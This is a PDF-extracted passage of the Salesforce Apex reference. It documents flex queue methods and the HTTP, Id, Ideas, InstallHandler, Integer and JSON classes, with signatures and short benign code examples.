moveAfterJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately after the job with the ID jobInQueueId in the flex queue. You can move
jobToMoveId forward or backward in the queue. If either job isnt in the queue, it throws an element-not-found exception. Returns
true if the job is moved, or false if jobToMoveId is already immediately after jobInQueueId, so no change is made.

Signature
public static Boolean moveAfterJob(Id jobToMoveId, Id jobInQueueId)

Parameters
jobToMoveId

Type: Id
The ID of the job to move.
jobInQueueId

Type: Id
The ID of the job to move after.

Return Value
Type: Boolean

moveBeforeJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately before the job with the ID jobInQueueId in the flex queue. You can move
jobToMoveId forward or backward in the queue. If either job isnt in the queue, it throws an element-not-found exception. Returns
true if the job is moved, or false if jobToMoveId is already immediately before jobInQueueId, so no change is made.

Signature
public static Boolean moveBeforeJob(Id jobToMoveId, Id jobInQueueId)

Parameters
jobToMoveId

Type: Id
The ID of the job to move.
jobInQueueId

Type: Id
The ID of the job to use as a reference point.

Return Value
Type: Boolean

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Reference

Http Class

moveJobToEnd(jobId)
Moves the specified job the end of the flex queue, to index position (size - 1). All jobs after the jobs starting position move one
spot forward. If the job isnt in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if
the job is already at the end of the queue, so no change is made.

Signature
public static Boolean moveJobToEnd(Id jobId)

Parameters
jobId

Type: Id
The ID of the job to move.

Return Value
Type: Boolean

moveJobToFront(jobId)
Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isnt in the queue,
it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of the queue,
so no change is made.

Signature
public static Boolean moveJobToFront(Id jobId)

Parameters
jobId

Type: Id
The ID of the job to move.

Return Value
Type: Boolean

Http Class
Use the Http class to initiate an HTTP request and response.

Namespace
System

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Reference

HttpCalloutMock Interface

Http Methods
The following are methods for Http. All are instance methods.
IN THIS SECTION:
send(request)
Sends an HttpRequest and returns the response.
toString()
Returns a string that displays and identifies the object's properties.

send(request)
Sends an HttpRequest and returns the response.

Signature
public HttpResponse send(HttpRequest request)

Parameters
request

Type: System.HttpRequest

Return Value
Type: System.HttpResponse

toString()
Returns a string that displays and identifies the object's properties.

Signature
public String toString()

Return Value
Type: String

HttpCalloutMock Interface
Enables sending fake responses when testing HTTP callouts.

Namespace
System

2099

Reference

HttpRequest Class

Usage
For an implementation example, see Testing HTTP Callouts by Implementing the HttpCalloutMock Interface.

HttpCalloutMock Methods
The following are methods for HttpCalloutMock.
IN THIS SECTION:
respond(request)
Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake
response when an HTTP callout is made after Test.setMock has been called.

respond(request)
Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake response
when an HTTP callout is made after Test.setMock has been called.

Signature
public HttpResponse respond(HttpRequest request)

Parameters
request

Type: System.HttpRequest

Return Value
Type: System.HttpResponse

HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.

Namespace
System

Usage
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest.

Example
The following example illustrates how you can use an authorization header with a request and handle the response.
public class AuthCallout {

2100

Reference

HttpRequest Class

public void basicAuthCallout(){

HttpRequest req = new HttpRequest();
req.setEndpoint('http://www.yahoo.com');
req.setMethod('GET');
// Specify the required user name and password to access the endpoint
// As well as the header and header information
String username = 'myname';
String password = 'mypwd';
Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);
// Create a new http object to send the request object
// A response object is generated as a result of the request
Http http = new Http();
HTTPResponse res = http.send(req);
System.debug(res.getBody());
}
}

Note: You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name
of the named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A named
credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages
all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesnt have to. See
Named Credentials as Callout Endpoints on page 449.

Compression
To compress the data you send, use setCompressed.
HttpRequest req = new HttpRequest();
req.setEndPoint('my_endpoint');
req.setCompressed(true);
req.setBody('some post body');

If a response comes back in compressed format, getBody recognizes the format, uncompresses it, and returns the uncompressed
value.
IN THIS SECTION:
HttpRequest Constructors
HttpRequest Methods
SEE ALSO:
JSON Support
XML Support

2101

Reference

HttpRequest Class

HttpRequest Constructors
The following are constructors for HttpRequest.
IN THIS SECTION:
HttpRequest()
Creates a new instance of the HttpRequest class.

HttpRequest()
Creates a new instance of the HttpRequest class.

Signature
public HttpRequest()

HttpRequest Methods
The following are methods for HttpRequest. All are instance methods.
IN THIS SECTION:
getBody()
Retrieves the body of this request.
getBodyAsBlob()
Retrieves the body of this request as a Blob.
getBodyDocument()
Retrieves the body of this request as a DOM document.
getCompressed()
If true, the request body is compressed, false otherwise.
getEndpoint()
Retrieves the URL for the endpoint of the external server for this request.
getHeader(key)
Retrieves the contents of the request header.
getMethod()
Returns the type of method used by HttpRequest.
setBody(body)
Sets the contents of the body for this request.
setBodyAsBlob(body)
Sets the contents of the body for this request using a Blob.
setBodyDocument(document)
Sets the contents of the body for this request. The contents represent a DOM document.
setClientCertificate(clientCert, password)
This method is deprecated. Use setClientCertificateName instead.

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Reference

HttpRequest Class

setClientCertificateName(certDevName)
If the external service requires a client certificate for authentication, set the certificate name.
setCompressed(flag)
If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.
setEndpoint(endpoint)
Specifies the endpoint for this request.
setHeader(key, value)
Sets the contents of the request header.
setMethod(method)
Sets the type of method to be used for the HTTP request.
setTimeout(timeout)
Sets the timeout in milliseconds for the request.
toString()
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example,
Endpoint=http://YourServer, Method=POST

getBody()
Retrieves the body of this request.

Signature
public String getBody()

Return Value
Type: String

getBodyAsBlob()
Retrieves the body of this request as a Blob.

Signature
public Blob getBodyAsBlob()

Return Value
Type: Blob

getBodyDocument()
Retrieves the body of this request as a DOM document.

Signature
public Dom.Document getBodyDocument()

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Reference

HttpRequest Class

Return Value
Type: Dom.Document

Example
Use this method as a shortcut for:
String xml = httpRequest.getBody();
Dom.Document domDoc = new Dom.Document(xml);

getCompressed()
If true, the request body is compressed, false otherwise.

Signature
public Boolean getCompressed()

Return Value
Type: Boolean

getEndpoint()
Retrieves the URL for the endpoint of the external server for this request.

Signature
public String getEndpoint()

Return Value
Type: String

getHeader(key)
Retrieves the contents of the request header.

Signature
public String getHeader(String key)

Parameters
key

Type: String

Return Value
Type: String

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Reference

HttpRequest Class

getMethod()
Returns the type of method used by HttpRequest.

Signature
public String getMethod()

Return Value
Type: String

Usage
Examples of return values:
DELETE
GET
HEAD
POST
PUT
TRACE

setBody(body)
Sets the contents of the body for this request.

Signature
public Void setBody(String body)

Parameters
body

Type: String

Return Value
Type: Void

Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.

setBodyAsBlob(body)
Sets the contents of the body for this request using a Blob.

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Reference

HttpRequest Class

Signature
public Void setBodyAsBlob(Blob body)

Parameters
body

Type: Blob

Return Value
Type: Void

Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.

setBodyDocument(document)
Sets the contents of the body for this request. The contents represent a DOM document.

Signature
public Void setBodyDocument(Dom.Document document)

Parameters
document

Type: Dom.Document

Return Value
Type: Void

Usage
Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.

setClientCertificate(clientCert, password)
This method is deprecated. Use setClientCertificateName instead.

Signature
public Void setClientCertificate(String clientCert, String password)

Parameters
clientCert

Type: String

2106

Reference

HttpRequest Class

password

Type: String

Return Value
Type: Void

Usage
If the server requires a client certificate for authentication, set the client certificate PKCS12 key store and password.

setClientCertificateName(certDevName)
If the external service requires a client certificate for authentication, set the certificate name.

Signature
public Void setClientCertificateName(String certDevName)

Parameters
certDevName

Type: String

Return Value
Type: Void

Usage
See Using Certificates with HTTP Requests.

setCompressed(flag)
If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.

Signature
public Void setCompressed(Boolean flag)

Parameters
flag

Type: Boolean

Return Value
Type: Void

2107

Reference

HttpRequest Class

setEndpoint(endpoint)
Specifies the endpoint for this request.

Signature
public Void setEndpoint(String endpoint)

Parameters
endpoint

Type: String
Possible values for the endpoint:
Endpoint URL
https://my_endpoint.example.com/some_path

Named credential URL, which contains the scheme callout, the name of the named credential, and, optionally, an appended
path
callout:My_Named_Credential/some_path

Return Value
Type: Void
SEE ALSO:
Named Credentials as Callout Endpoints

setHeader(key, value)
Sets the contents of the request header.

Signature
public Void setHeader(String key, String value)

Parameters
key

Type: String
value

Type: String

Return Value
Type: Void

2108

Reference

HttpRequest Class

Usage
Limit 100 KB.

setMethod(method)
Sets the type of method to be used for the HTTP request.

Signature
public Void setMethod(String method)

Parameters
method

Type: String
Possible values for the method type include:
DELETE
GET
HEAD
POST
PUT
TRACE

Return Value
Type: Void

Usage
You can also use this method to set any required options.

setTimeout(timeout)
Sets the timeout in milliseconds for the request.

Signature
public Void setTimeout(Integer timeout)

Parameters
timeout

Type: Integer

Return Value
Type: Void

2109

Reference

HttpResponse Class

Usage
The timeout can be any value between 1 and 120,000 milliseconds.

toString()
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example,
Endpoint=http://YourServer, Method=POST

Signature
public String toString()

Return Value
Type: String

HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.

Namespace
System

Usage
Use the XML classes or JSON Classes to parse XML or JSON content in the body of a response accessed by HttpResponse.

Example
In the following getXmlStreamReader example, content is retrieved from an external Web server, then the XML is parsed using
the XmlStreamReader class.
public class ReaderFromCalloutSample {
public void getAndParse() {
// Get the XML document from the external server
Http http = new Http();
HttpRequest req = new HttpRequest();
req.setEndpoint('https://docsample.herokuapp.com/xmlSample');
req.setMethod('GET');
HttpResponse res = http.send(req);
// Log the XML content
System.debug(res.getBody());
// Generate the HTTP response as an XML stream
XmlStreamReader reader = res.getXmlStreamReader();

2110

Reference

HttpResponse Class

// Read through the XML

while(reader.hasNext()) {
System.debug('Event Type:' + reader.getEventType());
if (reader.getEventType() == XmlTag.START_ELEMENT) {
System.debug(reader.getLocalName());
}
reader.next();
}
}
}

Example: Getting an sObject Token From an ID

This sample shows how to use the getSObjectType method to obtain an sObject token from an ID. The updateOwner method
in this sample accepts a list of IDs of the sObjects to update the ownerId field of. This list contains IDs of sObjects of the same type. The
second parameter is the new owner ID. Note that since it is a future method, it doesnt accept sObject types as parameters; this is why

2116

Reference

Id Class

it accepts IDs of sObjects. This method gets the sObject token from the first ID in the list, then does a describe to obtain the object name
and constructs a query dynamicallly. It then queries for all sObjects and updates their owner ID fields to the new owner ID.
public class MyDynamicSolution {
@future
public static void updateOwner(List<ID> objIds, ID newOwnerId) {
// Validate input
System.assert(objIds != null);
System.assert(objIds.size() > 0);
System.assert(newOwnerId != null);
// Get the sObject token from the first ID
// (the List contains IDs of sObjects of the same type).
Schema.SObjectType token = objIds[0].getSObjectType();
// Using the token, do a describe
// and construct a query dynamically.
Schema.DescribeSObjectResult dr = token.getDescribe();
String queryString = 'SELECT ownerId FROM ' + dr.getName() +
' WHERE ';
for(ID objId : objIds) {
queryString += 'Id=\'' + objId + '\' OR ';
}
// Remove the last ' OR'
queryString = queryString.subString(0, queryString.length() - 4);
sObject[] objDBList = Database.query(queryString);
System.assert(objDBList.size() > 0);
// Update the owner ID on the sObjects
for(Integer i=0;i<objDBList.size();i++) {
objDBList[i].put('ownerId', newOwnerId);
}
Database.SaveResult[] srList = Database.update(objDBList, false);
for(Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
System.debug('Updated owner ID successfully for ' +
dr.getName() + ' ID ' + sr.getId());
}
else {
System.debug('Updating ' + dr.getName() + ' returned the following errors.');
for(Database.Error e : sr.getErrors()) {
System.debug(e.getMessage());
}
}
}
}
}

Id Methods
The following are methods for Id.

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Reference

Id Class

IN THIS SECTION:
addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.
addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.
addError(exceptionError, escape)
Marks a record with a custom error message and prevents any DML operation from occurring.
getSObjectType()
Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.
valueOf(toID)
Converts the specified String into an ID and returns the ID.

addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg)

Parameters
errorMsg

Type: String
The error message to mark the record with.

Return Value
Type: Void

Usage
This method is similar to the addError(errorMsg) sObject method.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.

Example
Trigger.new[0].Id.addError('bad');

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Reference

Id Class

addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.

Signature
public Void addError(String errorMsg, Boolean escape)

Parameters
errorMsg

Type: String
The error message to mark the record with.
escape

Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).

Return Value
Type: Void

Usage
The escaped characters are: \n, <, >, &, ", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered;
instead it is displayed as text in the Salesforce user interface.
Warning: Be cautious if you specify false for the escape argument. Unescaped strings displayed in the Salesforce user
interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include
HTML markup in the error message, call this method with a false escape argument and make sure you escape any dynamic
content, such as input field values. Otherwise, specify true for the escape argument or call addError(String
errorMsg) instead.

Example
Trigger.new[0].Id.addError('Fix & resubmit', false);

addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(Exception exceptionError)

Parameters
exceptionError

Type: System.Exception

2119

Reference

Id Class

An Exception object or a custom exception object that contains the error message to mark the record with.

Return Value
Type: Void

Usage
This method is similar to the addError(exceptionError) sObject method.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.

Example
public class MyException extends Exception{}
Trigger.new[0].Id.addError(new myException('Invalid Id'));

addError(exceptionError, escape)
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(Exception exceptionError, Boolean escape)

Parameters
exceptionError

Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.
escape

Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).

Return Value
Type: Void

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Reference

Id Class

content, such as input field values. Otherwise, specify true for the escape argument or call addError(Exception e)
instead.

Example
public class MyException extends Exception{}
account a = new account();
a.addError(new MyException('Invalid Id & other issues'), false);

getSObjectType()
Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.

Signature
public Schema.SObjectType getSObjectType()

Return Value
Type: Schema.SObjectType

Usage
For more information about describes, see Understanding Apex Describe Information.

Example
account a = new account(name = 'account');
insert a;
Id myId = a.id;
system.assertEquals(Schema.Account.SObjectType, myId.getSobjectType());

valueOf(toID)
Converts the specified String into an ID and returns the ID.

Signature
public static ID valueOf(String toID)

Parameters
toID

Type: String

Return Value
Type: ID

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Reference

Ideas Class

Example
Id myId = Id.valueOf('001xa000003DIlo');

Ideas Class
Represents zone ideas.

Namespace
System

Usage
Ideas is a community of users who post, vote for, and comment on ideas. An Ideas community provides an online, transparent way for
you to attract, manage, and showcase innovation.
A set of recent replies (returned by methods, see below) includes ideas that a user has posted or commented on that already have
comments posted by another user. The returned ideas are listed based on the time of the last comment made by another user, with the
most recent ideas appearing first.
The userID argument is a required argument that filters the results so only the ideas that the specified user has posted or commented
on are returned.
The communityID argument filters the results so only the ideas within the specified zone are returned. If this argument is the empty
string, then all recent replies for the specified user are returned regardless of the zone.
For more information on ideas, see Using Ideas in the Salesforce online help.

Example
The following example finds ideas in a specific zone that have similar titles as a new idea:
public class FindSimilarIdeasController {
public static void test() {
// Instantiate a new idea
Idea idea = new Idea ();
// Specify a title for the new idea
idea.Title = 'Increase Vacation Time for Employees';
// Specify the communityID (INTERNAL_IDEAS) in which to find similar ideas.
Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_IDEAS' ];
idea.CommunityId = community.Id;
ID[] results = Ideas.findSimilar(idea);
}
}

The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more information
on Visualforce, see the Visualforce Developer's Guide.

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Reference

Ideas Class

This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example for the
getAllRecentReplies and getReadRecentReplies methods. For this example to work, there must be ideas posted to
the zone. In addition, at least one zone member must have posted a comment to another zone member's idea or comment.
// Create an Apex method to retrieve the recent replies marked as unread in all communities
public class IdeasController {
public Idea[] getUnreadRecentReplies() {
Idea[] recentReplies;
if (recentReplies == null) {
Id[] recentRepliesIds = Ideas.getUnreadRecentReplies(UserInfo.getUserId(), '');
recentReplies = [SELECT Id, Title FROM Idea WHERE Id IN :recentRepliesIds];
}
return recentReplies;
}
}

The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.
<apex:page controller="IdeasController" showHeader="false">
<apex:dataList value="{!unreadRecentReplies}" var="recentReplyIdea">
<a href="/apex/viewIdea?id={!recentReplyIdea.Id}">
<apex:outputText value="{!recentReplyIdea.Title}" escape="true"/></a>
</apex:dataList>
</apex:page>

The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce page
and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas posted to the
zone.
// Create a controller to use on a VisualForce page to list ideas
public class IdeaListController {
public final Idea[] ideas {get; private set;}
public IdeaListController() {
Integer i = 0;
ideas = new Idea[10];
for (Idea tmp : Database.query
('SELECT Id, Title FROM Idea WHERE Id != null AND parentIdeaId = null LIMIT 10')) {
i++;
ideas.add(tmp);
}
}
}

The following is the markup for a Visualforce page that uses the above custom controller to list ideas:
<apex:page controller="IdeaListController" tabStyle="Idea" showHeader="false">

2123

Reference

Ideas Class

<apex:dataList value="{!ideas}" var="idea" id="ideaList">

The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the above
idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the user that is
currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately when the user
goes to a page that uses this controller. For this example to work, there must be ideas posted to the zone. In addition, at least one zone
member must have posted a comment to another zone member's idea or comment.
// Create an Apex method in the controller that marks all comments as read for the
// selected idea
public class ViewIdeaController {
private final String id = System.currentPage().getParameters().get('id');
public ViewIdeaController(ApexPages.StandardController controller) {
Ideas.markRead(id);
}
}

The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.
<apex:page standardController="Idea" extensions="ViewIdeaController" showHeader="false">
<h2><apex:outputText value="{!idea.title}" /></h2>
<apex:outputText value="{!idea.body}" />
</apex:page>

Ideas Methods
The following are methods for Ideas. All methods are static.
IN THIS SECTION:
findSimilar(idea)
Returns a list similar ideas based on the title of the specified idea.
getAllRecentReplies(userID, communityID)
Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.
getReadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as read.
getUnreadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as unread.
markRead(ideaID)
Marks all comments as read for the user that is currently logged in.

2124

Reference

Ideas Class

findSimilar(idea)
Returns a list similar ideas based on the title of the specified idea.

Signature
public static ID[] findSimilar(Idea idea)

Parameters
idea

Type: Idea

Return Value
Type: ID[]

Usage
Each findSimilar call counts against the SOSL statement governor limit allowed for the process.

getAllRecentReplies(userID, communityID)
Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.

Signature
public static ID[] getAllRecentReplies(String userID, String communityID)

Parameters
userID

Type: String
communityID

Type: String

Return Value
Type: ID[]

getReadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as read.

Signature
public static ID[] getReadRecentReplies(String userID, String communityID)

2125

Reference

InstallHandler Interface

Parameters
userID

Type: String
communityID

Type: String

Return Value
Type: ID[]

getUnreadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as unread.

Signature
public static ID[] getUnreadRecentReplies(String userID, String communityID)

Parameters
userID

Type: String
communityID

Type: String

Return Value
Type: ID[]

markRead(ideaID)
Marks all comments as read for the user that is currently logged in.

Signature
public static Void markRead(String ideaID)

Parameters
ideaID

Type: String

Return Value
Type: Void

InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.

2126

Reference

InstallHandler Interface

Namespace
System

Usage
App developers can implement this interface to specify Apex code that runs automatically after a subscriber installs or upgrades a
managed package. This makes it possible to customize the package install or upgrade, based on details of the subscribers organization.
For instance, you can use the script to populate custom settings, create sample data, send an email to the installer, notify an external
system, or kick off a batch operation to populate a new field across a large set of data.
The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system user that
represents your package, so all operations performed by the script appear to be done by your package. You can access this user by using
UserInfo. You will only see this user at runtime, not while running tests.
If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex Error
field of the package. If no user is specified, the install/upgrade details will be unavailable.
The post install script has the following additional properties.
It can initiate batch, scheduled, and future jobs.
It cant access Session IDs.
It can only perform callouts using an async operation. The callout occurs after the script is run and the install is complete and
committed.
The InstallHandler interface has a single method called onInstall, which specifies the actions to be performed on
install/upgrade.
global interface InstallHandler {
void onInstall(InstallContext context)
};

The onInstall method takes a context object as its argument, which provides the following information.
The org ID of the organization in which the installation takes place.
The user ID of the user who initiated the installation.
The version number of the previously installed package (specified using the Version class). This is always a three-part number,
such as 1.2.0.
Whether the installation is an upgrade.
Whether the installation is a push.
The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented by
the system. The following definition of the InstallContext interface shows the methods you can call on the context argument.
global interface InstallContext {
ID organizationId();
ID installerId();
Boolean isUpgrade();
Boolean isPush();
Version previousVersion();
}

IN THIS SECTION:
InstallHandler Methods

2127

Reference

InstallHandler Interface

InstallHandler Example Implementation

InstallHandler Methods
The following are methods for InstallHandler.
IN THIS SECTION:
onInstall(context)
Specifies the actions to be performed on install/upgrade.

onInstall(context)
Specifies the actions to be performed on install/upgrade.

Signature
public Void onInstall(InstallContext context)

Parameters
context

Type: System.InstallContext

Return Value
Type: Void

InstallHandler Example Implementation

The following sample post install script performs these actions on package install/upgrade.
If the previous version is null, that is, the package is being installed for the first time, the script:
Creates a new Account called Newco and verifies that it was created.
Creates a new instance of the custom object Survey, called Client Satisfaction Survey.
Sends an email message to the subscriber confirming installation of the package.
If the previous version is 1.0, the script creates a new instance of Survey called Upgrading from Version 1.0.
If the package is an upgrade, the script creates a new instance of Survey called Sample Survey during Upgrade.
If the upgrade is being pushed, the script creates a new instance of Survey called Sample Survey during Push.
global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
if(context.previousVersion() == null) {
Account a = new Account(name='Newco');
insert(a);
Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
insert obj;

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Reference

Integer Class

User u = [Select Id, Email from User where Id =:context.installerID()];

String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('[email protected]');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
else
if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
insert(obj);
}
if(context.isUpgrade()) {
Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
insert obj;
}
if(context.isPush()) {
Survey__c obj = new Survey__c(name='Sample Survey during Push');
insert obj;
}
}
}

You can test a post install script using the new testInstall method of the Test class. This method takes the following arguments.
A class that implements the InstallHandler interface.
A Version object that specifies the version number of the existing package.
An optional Boolean value that is true if the installation is a push. The default is false.
This sample shows how to test a post install script implemented in the PostInstallClass Apex class.
@isTest
static void testInstallScript() {
PostInstallClass postinstall = new PostInstallClass();
Test.testInstall(postinstall, null);
Test.testInstall(postinstall, new Version(1,0), true);
List<Account> a = [Select id, name from Account where name ='Newco'];
System.assertEquals(a.size(), 1, 'Account not found');
}

Integer Class
Contains methods for the Integer primitive data type.

Namespace
System

2129

Reference

Integer Class

Usage
For more information on integers, see Primitive Data Types on page 27.

Integer Methods
The following are methods for Integer.
IN THIS SECTION:
format()
Returns the integer as a string using the locale of the context user.
valueOf(stringToInteger)
Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal
integer.
valueOf(fieldValue)
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an
Integer value.

format()
Returns the integer as a string using the locale of the context user.

Signature
public String format()

Return Value
Type: String

Example
integer myInt = 22;
system.assertEquals('22', myInt.format());

valueOf(stringToInteger)
Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal
integer.

Signature
public static Integer valueOf(String stringToInteger)

Parameters
stringToInteger

Type: String

2130

Reference

JSON Class

Return Value
Type: Integer

Example
Integer myInt = Integer.valueOf('123');

valueOf(fieldValue)
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an
Integer value.

Signature
public static Integer valueOf(Object fieldValue)

Parameters
fieldValue

Type: Object

Return Value
Type: Integer

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type
corresponds to an Integer type, like a number field.
Example:

Example
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'NumberOfEmployees') {
Integer oldValue =
Integer.valueOf(ah.OldValue);
Integer newValue =
Integer.valueOf(ah.NewValue);
}

JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the serialize
method in this class.

2131

Reference

JSON Class

Namespace
System

Usage
Use the methods in the System.JSON class to perform round-trip JSON serialization and deserialization of Apex objects.
SEE ALSO:
Roundtrip Serialization and Deserialization

JSON Methods
The following are methods for JSON. All methods are static.
IN THIS SECTION:
createGenerator(prettyPrint)
Returns a new JSON generator.
createParser(jsonString)
Returns a new JSON parser.
deserialize(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.
deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.
deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.
serialize(objectToSerialize)
Serializes Apex objects into JSON content.
serialize(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content.
serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.
serializePretty(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content and generates indented content using the pretty-print
format.

createGenerator(prettyPrint)
Returns a new JSON generator.

Signature
public static System.JSONGenerator createGenerator(Boolean prettyPrint)

2132

Reference

JSON Class

Parameters
prettyPrint

Type: Boolean
Determines whether the JSON generator creates JSON content in pretty-print format with the content indented. Set to true to
create indented content.

Return Value
Type: System.JSONGenerator

createParser(jsonString)
Returns a new JSON parser.

Signature
public static System.JSONParser createParser(String jsonString)

Parameters
jsonString

Type: String
The JSON content to parse.

Return Value
Type: System.JSONParser

deserialize(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

Signature
public static Object deserialize(String jsonString, System.Type apexType)

Parameters
jsonString

Type: String
The JSON content to deserialize.
apexType

Type: System.Type
The Apex type of the object that this method creates after deserializing the JSON content.

Return Value
Type: Object

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Reference

JSON Class

Usage
If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization
fails in some circumstances. When deserializing JSON content into a custom object or an sObject using Salesforce API version 34.0 or
earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class
in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores
extraneous attributes and parses the rest of the JSON content.

Example
The following example deserializes a Decimal value.
Decimal n = (Decimal)JSON.deserialize(
'100.1', Decimal.class);
System.assertEquals(n, 100.1);

deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

Signature
public static Object deserializeStrict(String jsonString, System.Type apexType)

Parameters
jsonString

Type: String
The JSON content to deserialize.
apexType

Type: System.Type
The Apex type of the object that this method creates after deserializing the JSON content.

Return Value
Type: Object

Usage
All attributes in the JSON string must be present in the specified type. If the JSON content contains attributes not present in the
System.Type argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON
content with extraneous attributes into an Apex class, this method throws an exception in all API versions. However, no exception is
thrown when you use this method to deserialize JSON content into a custom object or an sObject.

Example
The following example deserializes a JSON string into an object of a user-defined type represented by the Car class, which this example
also defines.
public class Car {
public String make;

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Reference

JSON Class

public String year;

}
public void parse() {
Car c = (Car)JSON.deserializeStrict(
'{"make":"SFDC","year":"2020"}',
Car.class);
System.assertEquals(c.make, 'SFDC');
System.assertEquals(c.year, '2020');
}

deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.

Signature
public static Object deserializeUntyped(String jsonString)

Parameters
jsonString

Type: String
The JSON content to deserialize.

Return Value
Type: Object

Example
The following example deserializes a JSON representation of an appliance object into a map that contains primitive data types and
further collections of primitive types. It then verifies the deserialized values.
